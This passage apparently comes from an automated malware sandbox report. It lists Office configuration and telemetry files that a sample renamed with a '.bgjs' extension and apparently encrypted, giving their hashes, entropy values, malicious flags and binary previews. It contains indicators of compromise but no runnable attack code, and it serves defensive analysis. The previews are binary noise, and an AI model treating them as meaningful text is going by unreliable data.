Preview:	<?xml.'.r.. .].6{kS...`.Q..Aq/..}..-...'..3..n2.>nW.^:.HdV.</I.._.......r.....3x......B)..........d=.K..g.Q.......p^0JQ^=.).....H...8B[{r.2.a.&.t...w......bR....A:...c;g.......tZ.k.L.\.%F.....\|.FP...}.L.....r...#m.... ."......].l......i5..P......{.........m...&SG...*. ..u.T...4..p..ZQ.&.e..".-~i'.n...9....3..2L.!.m._......&...w.p.QK.6L..:(.v.".U....\FH%..^..S....Q..q!.z.y......qO.j....k...i..v..{.r...wV/[...E$...e.m..p.@j[...5/...s.p..=....6.._.s,..9..M..u....Y........#...y......";.G)..PT...z........V.....\8M.eA..\#"7..8..%sx{....E..V?..3"I..oW.hC..;..D..G.Q..M.......7w.y.U...x%.,..Y.....>.1.F..F.L..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170041v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1089
Entropy (8bit):	7.816675246453148
Encrypted:	false
SSDEEP:	24:2cpDRMg5C6b74iEk8MGj1qM8rklrYzmkPd+koUr+2ObD:JMgBbRhIoM8crSPQkoN7D
MD5:	D178D2372956D3E0D78AE294D8427B6E
SHA1:	441FC653EC16D3114DD429E7FAEF1A30DF625B2B
SHA-256:	8469C15F981B44457EA6E66BF594C7424AAA9EA0C3536726B6F3C32A505D8059
SHA-512:	8C5C4737C33A44B6B45135F54947EEDF1E01A343956AE4BC3C2953EC8A369824D299CF85C016776C6C896DA8829DE1056555F3F3C608F585357382D46780E1E7
Malicious:	false
Preview:	<?xml....... ..s6..Y.,..S.........b.d.p..P.j..f.rFt.n....2.d...0..m.......ef...'k....v.&........0..9.{3....[.7..k.4....#..?.FLr....U..P.4.r.A9...4.mZ.n}e...f..tw.X.\....l..$..k...1..n.....+2,.-'.$....h..U..<..`..$......p1.c..7C..C.B6h.._.......U.~.Z.K...`...,`x.;'...VN.c....Y..Do.N..-.PYXdR"......`..R...=..)aG.(&!{D.%.2^Y{.vPe....nJ.$'b..u......IB.{.>....E..9.6..Y...@.{.F.'.....y.!M.^...R.C..-..<.@k.\..(&.......:N.Hw.?..%TY@~..;......q.....~p..j^.N..(....../..fq d...2D.......3.h....(P....g=.p.y.g.....:.^.,...t_...r...q%r...E.3....'F.8...Nx.x...KY/..x.?.!...x..3O..V..&WT..W..~..Ll..........[o..........QY.F...!N.jFBT...1.....b..7$.......oN.e.K.&.....Z.......a....'....}.Q...#@%.:...b[w.xz..F/...]..9k9....\|Y2.4n.....Uk!{.(RJ}..d...pv.a.g.po...~.6.^......]v:N..L]I.....]..Z...J.y\|....z..K._.~l.4+Y7.YKN..e......k.....'h.qe.?6...)......TE3...T.}D....Id.qa..............Y...>..s..D..zZ.#._.o.I.<.....}.3....u{.l..<.M../n.}......d&J.....n..Z>.y..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170042v4.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.804822066399676
Encrypted:	false
SSDEEP:	24:mTsqA4Sf0cpNuXzWWeuPPFLdEEOaHxsnDJiwfdbD:+sqAVrTYzb3eBfdD
MD5:	3D6B2E00E639BD0B0351D7945B902CF5
SHA1:	19A3758E84105DE0DB15F5CC6E187F4512D3DE74
SHA-256:	D34DE31181E236BF3141B2DD41DACD2FDE887B55539BD0EA5551B29A5CADBEA9
SHA-512:	DEAE8EEC81439120C79F77B8757A0D847B3CE061533A97DF9A3F4FBACA3EC7AB8372873B6FD945F22958FBDE27CDDCD21BB518F5DBDC6B768FEEFA40E94C69DD
Malicious:	false
Preview:	<?xml$..7...A.).Q....+.J....6.\BLWYQYz.....9.....i....<5n/....\|...EKbX..h.O.....O.N.~W&.\|DH>..M.....0......Q.....G....4....y..kf.... ..pLv...k...).h.;.v. .]..B....1.-.$.)L.s.q..]..x...g.gb`..r....y..t...".plBwI..>0x.....+..E....P.Z..Ir.....x..zQ..z...n.....;V.u...@.}.....S;Lj..x.V..8...&.M..........),..]..3.W...58sy........x...........Bh.(H.!.(\|.G.....n31.).....}.?.6..;....'.-g......C\....pA.WQ7...:$q..d.t..daI./........).7.........Q+2.l.....3.y>..[..Z#s.:.6.\b.uu.C.-...u.}....$...#.>w.e........Z.....&...\....!.....B5..Q...5..{$..'{N[&+,)...[T...A....6>....."..B.4....nw.Lx.f...9.,.t.D......B.O..:.>_.^I......pV.A....;9G./q...1....+v0..7K....-gN..LR......o/.,.5..... ..."..'...=ZS$7i..@...v.....^v.....V~.`....8)Wi..d.....v...RK...g\|.BJ.c.A.Sd(@k.=DP.i...&.U.)z.W.E5?...oz..Wz..J..Da.&...%.n.us..g.....t..8....(..!....\|.[..2k..KYm1.j.#.S.a...FZ.(M-~hE...b5Ew..S.(.....?...yE..\.pJ:.b.4.....1..M.>%.5.w2..kZn....'.:.S4..SLibyJ8nZP43K8X6Ycor9IxvOlsKH

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170043v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.705978429652516
Encrypted:	false
SSDEEP:	12:Et6K3qwoa6myugbaIbIdldyJLgEZ5vqRdO2SLKfI3LH1+cii9a:Tnwoa/i3bIdldQ3CY2SLKf6AbD
MD5:	BCDC7705371278C0C21C64367B66FAD3
SHA1:	F075774699457D4D228F8873800BD92C4BCBA667
SHA-256:	3E167105F875807C9DC57826B3499BCA154C5180C24E12A3A5D66542D9BC3779
SHA-512:	2EF989CDE35BA88EC1EEC47D1AEEEA699F48377256A23E1CB7008B619A67AFA8FBEA8803CE76414064F9FD15656A51AF754B82E1DD943511F70670662C867B14
Malicious:	false
Preview:	<?xml......4....6...M....T.R.....V..m...Vr..N.Uj.w.aF.K=.....5.H..!..N+.~...U.`.4..9ci3P.VHiU.r_%..<...Qv.15M.w.!.....8j..\..#.YO.....yFi/.6.........4........X....M1..KB 7.(....U.~....z..6<..f..h.iK\|...6.%..n.....+0M..'....-...#b."-r`PY.1....7e.L&...X....M..@..(....T`B......s\......oI..,.B..;.O@.hWi..:...c{...........0.....e..c\7{.D..H......D..1.j...~V.<W..xg/.....B......#....jzx...%#..6..r.O...Wn.y...z+.D~...3.=`>....3kq.S..,u&.ZHWf.w.C.j...dF.....mk...!...;c.p.5x3..5..CX.....A..HSwgEiJ..../.............[5..).&.J........W....i....Apz:....BB.^S-r>...x.L.HW]a......T.....).y..Y.Fw.mAp....Z..2.....s.}...Nw...z.;..8W....>..(....u.....f..5."..V..4oj.X3g.K.....2xe.F,7..T..o....]ZRXfu..gQ./...tAx."V.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170044v4.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	853
Entropy (8bit):	7.737668146945277
Encrypted:	false
SSDEEP:	24:A0K5hEEfWHaDSWXfFthEueZoW3hqymvbD:r6hEaW6eWXHhRGoicysD
MD5:	24395D6B095A6F002B15D7520039DE40
SHA1:	1115FAA364845FCAFADB24FC7D00903E69A6A975
SHA-256:	0E466A179590E04E4C5E575D02E5C7A6D558940E342877DB9BBDDF7C5E1116E1
SHA-512:	11FDFAF3DAE0945DB2A923FC0A8EB1EEB4C7D6C38CCCEB27F62505A6D0936E7346E2809A8727C50033647A129A7E56126AD4D193F0D30B531CCD6975F97C1AB5
Malicious:	false
Preview:	<?xmlJ.......$3oc...IB.T..^&R.9..y........l..aF..cRC....O.,......H......e.......C..h...#5......`)..4s`.._....~...V.....U..:...[.....=cpq...6f..?1...3..bQ.#..\|.v.M2R.......!.....g....A....h.q8Y\..&.`..~3..T.'w.T.-t;.jx&w.v....<.A......%c.L.w.$r...'..).N>.......@......R}.i..o5.l#..x.s....}.y.,w..x.u:\|.9..$.......M.A=...z..0.H.q...O........u)..2..%..:..I.W......a..~..WU.=.....q.e.rS<..o...3...78.t...A..1.).}...."..........]...6UvI.?.k..}.+....!ta.YL..I"...o.N.N......U..6U....B.;#..M..P.P..9cjg.I..k5..a......lN..\..?...R..:.../.t.J.]i....1...V8...iz.S.2#.7.2.,#.#.?h.+.....T.N........f..C/........!.`..g.:D...!i!....#=ww.p...{...C...7V.B2.*.....}..Ai......+..e?(k....".-.R..Mpw.Oe.;{ ......c..&q..J.U.&..m....u.M..8..3..._..(wpSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170048v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	7.771961774569959
Encrypted:	false
SSDEEP:	24:CEw9W25e9ekiQS/g6RX29L8XjtD7wsd3babD:GW6cm7929YjtD8sd3bYD
MD5:	C56D5DDA7A84D013B33BFE9443BDB3A6
SHA1:	933E584BA44E3D1A5BE4536045890C075CB95FE9
SHA-256:	0A86C575297C77AA9877E9CC516110421A4DB8BBB35057DF12B34654D2408679
SHA-512:	B299DEBAA29AD63F699403304300FE32648BCECBCAFCCE419D11339B0B5D6A972BF6398AB1E0B977F6BE646C88F2DA3F5DF9AEFD84AB78C1AB7E8773383AB428
Malicious:	false
Preview:	<?xml.......~..{i.{0.\|...<w..[..x......z8...vU1....7..Z.L...Y$}.`lV...[>.....I.p.}6.H}l.b...p..&.9.....Q.Tz...M.`:#..(.....E:.-.)h....U....<..{..j.]....P.&.r.1.3s..f.Q.]......K...77M.'r...e.7C.^.K...1..9.^j....EV...=...]a..<.t..;X..v..$.@\......v.t......Y.A..(.."......0......g&..I..B,.......h..`...{...P...A..{......\.;......gZ....*......W....9...........R4..e..(...{G.n<q.c2...P....$:D...lH.^T.....d.wR.(...V..k.FMk..-z].k....q..}.@..lkfV...ok?..:L..Y.............-..-...w.).\.O..q...vxbd...aJ.yj%I70.(.....l.k.%..<..$W)...G...\.. 0.(.#.m.....).{D...(...&.F...P.8.W2IhvG.......&..r..+f.....wWs..jQZ..#4..E.....G9 G.h.jk..l.'...>...d. ...>q... .e.%.../x@.\|&.4..4.2.y5.<...y..;...I.O...a...).z.z.?....$.R..[.k../6....+q....M.........VS.VE..V..=...(.d..>w..5k.....r..........&.<9u.zo.$C.G...r.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	321907
Entropy (8bit):	6.628904193583564
Encrypted:	false
SSDEEP:	3072:dpaWQ8i46XJepPUj4fXzoxCJPn/UBcGZZo3CDnY/n+AWY1:dPQ8i46XJW/fzoxC18njnY/H7
MD5:	9D52430D56034CE010261F7BBB0EA33B
SHA1:	D0B6EE47921DA31510B54544CC617A57013EFCAF
SHA-256:	DBE899075C3ACE6A5910F3C5FC35A03EC568CABA7601DF569BB924D10740BECC
SHA-512:	BC86215C31C25D422A9692A83EDA2D60C250003091BA07D7F7E6A3C40737DD02D2F863B24D7307B707F5A12A4B11FB0E65BEC5DD04F3FCA68F5CEBC38FCCC866
Malicious:	false
Preview:	<Rule6......-~..&..#.l.9 .....QI....!......"...K.1B...Q.f.V&K.oP........q$s....^k...w...L..q. ..x.u....O....h..q..c?...(U..f.p....@.]5.R._.(`.}{~.#.l.!....m..D.9e.(.J.)..K.X..Sjh......Ah..X.e.}...r...`!......p.`.~..M.q..?......H..TDQ..N9..[...$..[.`=.....a....R.n..ymd.^..j..`..!l#...&....#7[..w.......I=?tT..u],oU..T.H2E).K..]^.<.N.y..P..h.......hr.-D. ..#......\| ..f..Vp..9`.L.......\|l7./..f,...i.kL*1.S....Bh...F..9H.+..m.n...T.........Y...36..e2t....B.Q..T.5.{.%U.....58..]....A..Z...'S..G...R.i..'.HLc...F..Id(.[^.....[....V.].e..=.&.'.@.....Ne.G..:.sr......w.......p/.....q....$.E.91...-....R/C..Yh4..1....Q..f...\|_..?C.8R.V....%.."W....c.O.Q.<..k...5vC?./...."...#.d..f..gn]..$.j.....5.9(.l?.`..pE....A.iu1+...T.`.....s#h...1.k]....X.;LB^..%u......]CG.....N....@D..v.x.!T..T...2h....n..._.H...._<.2..x{S..O.E....&u...]+.j5..c..y.Z.M<?..}..._.A..o.O5.]P.T.5......g.y..'s..)b[..@.+i...gV........~.-(...#..:...b;.X....".,......0dAA...E......

C:\Users\user\Local Settings\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.515953621467431
Encrypted:	false
SSDEEP:	3072:VvwiSbOiBM1D4JuM5A0L4cjH/icf/QRNfVcAEDcvq7WHC9OLPcjw:dxSH2eumAybi0kVcAEDcvq6TGw
MD5:	FEBA4C62EB52090F645F51710D6B1B6E
SHA1:	886D08D2134D929B5F794702B778D8520256A5E6
SHA-256:	BF6343EAB27273B637669ADF63B4AAE05F13CB55F8E25B3802A97864D1FF345A
SHA-512:	33056A5A20B0ABC35D08E316248A2CA91109E2901C7A52B22FD846814735F5D953EA4C1D740B46721F5576075A879162F264AF3BDF6C81E22E23B6DCE02B92D6
Malicious:	false
Preview:	<Rule.Za<H{$.......Uc5..!TY.J....\|.`.\.m..._...{.`.V.E.W[..B..~...w....9..8...W.&..E.)..S}!.....5+4...].u..CI.f..[.o..p.K.P.........5...\|......nx.{...\..r...k..P.1..Y....Ae.].$....{......Y..0U.P.....L(.......)o.&.M.l..Zw^.0#...aB.ku.q.,..a.c...L.kD....v...f?....I.QR88..n..8?-..a.y`..ywU........G...m....:J.Im......id.A.]..&./.\|o..\|).D..E8#?. .n..o.a..C.....4x.bfva1Vcdg.Du,..wzR`.......R........a.(.U!.....IA. .\.<.E...i..c`.nVw...&?.......qT.Y_`..6.l..Q.'.j..s.<.../......;.P.......9O_8....V.\|.1.t......F.'......M.c..>V.wC......3....e...BX.;.A.......6x.v..c..5;..@........NO....T.6z..jlP...(...O.b.K.y'.K.4.\|........x...+...'.}dI.(.NZ.....8.....%/.A.g)..X.K.j..?..,....+W_.x...?..p..(P"N...N..M.j..6..3VB.`...P\..!..hkd.oUMN.^.)9.o....TH.:>.._....0"H.R.....;..X..L.(.?.uHAKm...$..wNy....e..7.o.!...m.kb.i..2.F8...N..%..r...?.Q.\D.?g.L.J.q...w.TO9Y..r....p.<%.....e.....o./ j.7..2)S........].%E.X....SM.4.&;...........e. !Q...%r.B8..._....

C:\Users\user\Local Settings\Microsoft\Office\16.0\officesetup.exe_Rules.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.515527406147995
Encrypted:	false
SSDEEP:	3072:wbrez14J6DlDb9fLSxLhrMhuIrQKNkNXhmF8EPoFg0B:4C1/JA1SuIrQKSphmF8Vqs
MD5:	2EDB2D782E3C848EB139AE54AC92CC69
SHA1:	7C227ADE3D7BD5BA992A81E940D75857EDAD826F
SHA-256:	5A8EF0F491B54AE271A125F378EF125C0CE97D9A341D9F54CB2FB55D2C8A183F
SHA-512:	AE9DF62C8D1BAD3ABDC7495BF048721DE10A9B878752A7945222B3B6B0CE9213B88903F3BD0E3662D860BDF579CBEE4DD0557BECBA43BE94C08D58ED42D79565
Malicious:	false
Preview:	<Ruled..x....E......v...!^....Z..Y...2kg..7X.`...E.<W.......1.I......'....6.Z9../`..X...7....h.e..q....}.+}".........U_..l..=[3.+.9.)...iV.N6d.UK.:....Gq..N.....RX.7.%........C..Cd.=?..P../Rz.0....\..C..$.s.u...&.YM.W.:....l#l.....!.v9...:..e.!.a..(.;....z..{..Bw...EG..DG.}Q..>...i....}.oXK+.i.\|.%,..%&..>OQ..]...J..._.....,f./...^........I..c-..r.(.Kg.f+..H......g.._.....N7...Cp...x..C....;..c......&3....@,`...Y..c.2~...G.~.%.....C=\.=,(....:..Q_T......j....x.#s...9..m.P........0....oV@K..d.o.B..D.\E...P1../....9&.u..`a.q..1D.....q.;. Z..A...5:(..J.........v.J...F.."..O....`...GE...W_BtY..t..z.+d...u%.......`..P.+C..l.d..2.]6m....m,.......T...}.z..N......$.^....RC..@...Z..`y....9x...O..I...X....[#........6....k.......s..6.L.m......]....z..N....q_}c........R...b#... ..9V..:..[)....s.w=..q..+q...1...}...>??/.g..6w....u.p.....B.L.M?...c.^.;......x5B..?q..F....v"/.....].`B...)10f6..o ......S..{.\.-d..H.tvL.s....g4)....dq.^..mzHy..

C:\Users\user\Local Settings\Microsoft\Office\16.0\setup32.exe_Rules.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	135031
Entropy (8bit):	7.998880359366588
Encrypted:	true
SSDEEP:	3072:KSfgGBX5YmrEz0ccmGzwVtwzZ5Ol1CIc/Gz1ptUchTisojphFy:aG5umrTcJGdKw6ppt5hGjphU
MD5:	33ECCB28CE285E4E64083A93C450D7E0
SHA1:	A1A92EADB99FBFBC00E78B277E5C71D71BD84848
SHA-256:	472F0DF053BFEC22073BEFAFEA0A47C1FCCCAD881F71E32A599CD2162F82DAAE
SHA-512:	7274AD8124C6461CF74E65E9834007C0ECF6BEFE9D3231A6E665CB361DD76FA23D6B8DFBC9ACABE407C70230875C2A29680208A1C72142C6FBCC8290A91BF3DF
Malicious:	true
Preview:	<?xml./........0..DB..x..1.KU.X.F..p._.xH..C.f9.S.n.d.0...78%^k\|&...D.,bD..B<.p.W.J......)s....Q.N.....t...#w..:bW.G.....).'..r\|.h......4v..vc.'.t..\|.7..O....k....O........0...,....a..2Y..HY..16...%.#.6 ...+DJwVr4.Uizw.^.}..Wf.....).u..P.W&~..Z.$....y.i..Q.D}..k...F.V(w.W[.)%..;6.v....2.P...B\.H.............bWz...~...&.g....r$.g:....C..J.^,.hZ$.."..l...f..2...xS...D...S`F.?k\.0.Q~.}..h.{.]...1Qp.$x...Ue..?.....~....&..M./U..%...TsL.4...Vao..s....C.!f..@.,.B...D....-.(?.@.AG........\Y.{...{=......ipb../j.....uaT.hf:.V.-..F...]..k...:..<o.#.I.`...-d..Ep:.pt/...{...E..6Z..fz.nB...v.,U....0.%^..V.Z}~...cM5,.T`X3q%..7.1LB...T...V5.$X..=.^.,.46....j9.F&...j.R....R..nY.IQ'...x.F....k.f{...nkfK..N...'8.?`...qJ.qO....Snm...]87..rK..[28..).Y...4 .X..5q'.w....>.s.&.n..v..../...K./U.....ff....!i....82......t*.r%{\|r./.)~@...8..c...w.}...h0;...)g..m^Hc6L..q..J.gm.1c.6..%.N/oJ.7"..f]~.U.?.#...\|.&..?...m.FI.O.S."..}a..g....bv.....,...~?.Ib......P.U..r.Lrq.

C:\Users\user\Local Settings\Microsoft\Office\Features\1-3FeatureCache.txt.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1152
Entropy (8bit):	7.798743890098817
Encrypted:	false
SSDEEP:	24:bl/ipq0PrpLshmX9F0520InnhaD249/oZo2tH8PONWdh+0DbD:JapqGb0SnnhaKOoZo2toONWdY0XD
MD5:	27F864978C2481E39D231D1CBC4E92DF
SHA1:	E3979479C7F870AC7375806E3BCF5CE73B6CA4BE
SHA-256:	8C89C946BBE16A643506A93636242E48F9DFF54551C4B17CDB731934F8442DDD
SHA-512:	26454E596BBB7E5AF90E07D3E605B4C089E6DAE4E914B5A8CBBA533407D8ABCEDD97BD585FD356165AC7D1F581FD2EA95613CE1B2944F77BBE05F47D7E381937
Malicious:	false
Preview:	1.1.9....R.9.S...}b.>bEk\^v.tF...7..]u. F......+.+.H..... rY....S.s.`.\@.D..P)1./j.g..u.sm..."Bu-.c"..:........%5.a.@...,.m...V..m{..w;.........6.2lJ..u.........q.F.......c.....E`K+...s.-...^btt.u.......^)...I..T..K.......tD..........'..c..../.'..[].t.g..j..V].[..F.....x3.}rl2.^.e..S.x.q..2...7.y...^...^.E.uH.z..d:3.~Oq.....V.W.(.....CAV"{.zR..HV.8U]_0/o..q0>....s....8..P...#.o.S....WT.s.4..Wo...P".....I..\|.C..>.P.O..v.:./..p.^...so.S.V\!....S=b;./e...K.mE..0...`N.k..).7H............[&B.Xj.jo}....R.....7........Q....d.....p..3..R."n..b.f..e..>Z.5...M.0w...p..s....z......7..2..&..Y..=6...]o"*.../=.k..g..s[...=(......r...G=..gLP.)J..............\..@.g_=..........=0"4..d.....h..R........w..C\|!...F.+.,I+..f...U.`.}.Q..!^........-......\...k..IuJGS....R.dMa....J..o<...e.&.yn......9.......'9q....m.f&..+r}'.+X.O.z..av..x.&.&.....>t._..J...J70R.Pdr.....5......g...m.@.u.....&...I.8...o.........~p...8P...{\|q..R......O.bL.s:Xm..^T..T..NS

C:\Users\user\Local Settings\Microsoft\Office\Features\1-7FeatureCache.txt.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1170
Entropy (8bit):	7.8115511407254
Encrypted:	false
SSDEEP:	24:8urBODd+NmKiQGz4DAplxobbNPXxXVPvNWV/8G6lFsDDwPAZWxnksbD:drySmKiQGz4Upe5hXVPVWV/KxlD
MD5:	E544280B8B9469432F74F26FBBA5D495
SHA1:	6DB66273EBFFB4D96F346333F8911CB7891E73A7
SHA-256:	98A39DE24BC18E8DBE5715B23E8EFD80B38C78F9A40CA9EE705F6F69FF779A22
SHA-512:	7F4F6B7EB534C7849A427273F255BC6BC64EBC55C2E3210DAFD2CA8E9003DC191178D2AC05DE3B3D0E20951C6D60718A43951C9748273BA5E0DDB5DD3541E98A
Malicious:	false
Preview:	1.1.9`......<...T..........V.."/.g.....E.E.......\/..Jn..>\|.{.....Z..@h....Q.+3y....[..K...%D.`....1.e.].n\. ..KfW K......U.........."....y.~....n.G$.l... ....a.~..).....4.[.I...z...............-.5.....[oU\|.U.@.v.8..J.t.C.Pt..@Z.oF...Y4...RA.U..g.9=.n.y.5.kw.U.$...&."/r...Y~W..:.R.e.m."A..%./_ ...V..0..\4.Q...B`.q......,.....IkZ....Z.[.....jil.. .om..l.s^D..`.3.......5d.....j.+.3c.S.........,.Sg.G>.4..w..X.bg..).].]<....(.........\..}lhe....\.I..]..F_..F.J.#...`.&.vk....SF&./.\j-J3...;.(.f.H.f,.+.s.-.J.o\.OM......D. %(...j.-rD.r_..=.....,...R.R......h....Y...xw.Y&.6..%......H..H$}...L..rw.$4.>.k....r.......Im.C.3..3?o..........Q&0}0\|7..+.v.kju....9..za.!...X...<.P0.o1..A....C.`.\|1........;.I.....V.....$Qc....a..F....J...Cg..;w.sv...PU.3.L..m..vH.T...0.......t..7'Uc........@.F.....DJ.y....U2..........=...-.......90......32.k..Hv[..1!q.vq..&.Gw.q..>7....LP.....u.f.j/`O.T6j.K5.(.o.?..K...`....g...S.:..%^}G.O........Vi\

C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	37198
Entropy (8bit):	7.995568891147216
Encrypted:	true
SSDEEP:	768:olksruSQ/u+TAwxVpBe9yM+QrnkgTt7N3zIoSaqchjUDlUrxFoDGKRUihp:5SZ+UwxVpBevJ7tNxeDGA
MD5:	59DFE24C94435A2090BEEABDECABB82F
SHA1:	06D722FB443E0EFDAA1634B05C475D0A82F5B3DA
SHA-256:	8C0F96FAC2EE988C40D6015F825514735A1F98DDA41A20A6C2F3352B3B896560
SHA-512:	30C83EE385AC294ABBEA28EFF1605B63758ED404CF8877F2D3439CCEC8AC699E01FC68BB0017DB793DA2F9E20241E1CBEF686EFD00CF9EC782FB717DE0468353
Malicious:	true
Preview:	SQLit{...e6iG..H..\..X..+.!...H.Fv.NGL[]:..w.H.k.G..e..\....?...)...P.h.+../0..$........{...TxI.....g7..V...[h....X.`...i..p..$H....]..e..#.6<M..3....B!D.....\...7Mj\._...m.i..3...qun.h.5..Z4[.4Q....@.......d.......... ...R><.Dl..#....P.;oB.TO..^I...L.'Ncai......C..2..Z...,l..:B......c.l<.I?.....Z.......>.0......^.......R..O(FR..Z.c./O~.C?..n....JF.u\|y.Y...{........wY.5.<....\...o ....mk.9.....}..:....._9.....#G+../I.<.a..Y.l.F...y.m...n..ygE4..I.A}.<gk...DF'...9u.bP....\q.G...kV...V..\.b..U13'....D-v..GN].....q{..dK...:.?...NmZa.yI;...0.L..~yA..>...........O...".{.alg<....&.^U..c5.\|@.z.u...r."n.R.... /.....J3.....Z....M.......[...o.,...+P;8....z......&....y>.q..n.......T^w..<.4.[...Tig...V..0.h.....].).e....L..'.Z.i....m.RfP...Q........#...{..uf.3..(P.vW..E.LP..h.J...XP._y.y{.{.[..2.....l>...5.s}./bZ..x$..aU....ks ...x^.NN}..n..0.....>W.L:z^4.....\|>Y0.C.....DM...s.G*..0.w......m.SA.......\|.0.f.1..i...$....t..wpV.c.B.w..;.L.$.....$

C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.session.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	20814
Entropy (8bit):	7.9916306938159085
Encrypted:	true
SSDEEP:	384:5wCjGLy+Aazm8EWHH/qQaRGvX08m9gZfsgiMjwX7j3o9Qne2CYiBER:xG3Aazm8EWHHAGvXTmGhniWwf49Qe2Uc
MD5:	72B889C3AABB8D249FDD55EA7DD4CA17
SHA1:	FC8F1DD620BA45A3D9A6C07A47935EA824F1B4C8
SHA-256:	560ADF1010F20EA59D618D643288E0B6A131256EF9620981083FCF522F88FCF7
SHA-512:	DE1E8521A099B5A246A7196AC1AD2E198C3B90D7F679ED69C2952C83653372EF651E9AB2DAF9E347981F978866922DB6535FDDE8D8145ED4AFB2A3D6828C4C84
Malicious:	true
Preview:	SQLitt..r...L.4..s\|]A..f20......]..$sl:.+f......._.<A@.......zz........D...H..d.......c.v.....cDr...:WO..'h.N4qm..S...._..3.....-. .Yt. .t..pO....J)9B9.5..D.9...fX....?%.b%RiRg.....92..1..2...-V.r.p.$.a...{.7..'>.$...t?.&...pK..`..f..%...SX...i.=....$..... .#2..bR.oPS<'>..4..>..........J....U)....mg...{j.Q.....fq.d.\.!....;...o9..?v..z..0..:.g....,..-..+.P.^3.Y...9q..6...L-(..o....P..{.5..V......0................"`.9.m..:2j..6C..i-CiPN..q...g.......i1...(."v<.{ 6..&#.....+..m...7.B...`sj.H...V..k... .;...l.N.....I+]<.z...'e>..q.s.p.....a.(.b.._..\|.k..F..t.eqk...vF(..p..5...O........5q...6.m.........=.fF_.C.Kv..M.(.H........er-.Wv.4./xa.o...-..,..2x.U.3.....@..........g..l.x.PX...q8.A..g.......v...U....D...gX.M..B..H....egt.UZ....e..\|:..g..]]]....Qi\|....w.6d.W........\|?#....%.mO8*&y_b.7.y.....qE....6.'.;.n..".e.;.D....i.d........C1.n1_..g'.^..(...........B.=....~...)$oh.R..^......".../.#.....v.F..V./...f(...4...........~..!.I.T.H.a.%.

C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992745030903837
Encrypted:	true
SSDEEP:	384:5A1fR3oscj4nFbM5bRXZGrHCo19RcvjUYldLTrKIzr5XMHRZJ94y7:IJ3onjMprH12vjN/WG5XMHDJ9P7
MD5:	204FB041DAECE3A9FBCBFFE53DACD63A
SHA1:	46019106A741A40FC936BE48B2A4F87CB15B641D
SHA-256:	1F001D7474C7B716989324D96BD6A7B685ABEFFEC0D4A04D2BF57D7B459653AF
SHA-512:	5246220058C6FF61C6701173B5A0166D6AC46A31082D90990E424A3242AE129702708CA5B33DDBB599747E6BFBA06890402856B4CFAC2F84860712FE45364160
Malicious:	true
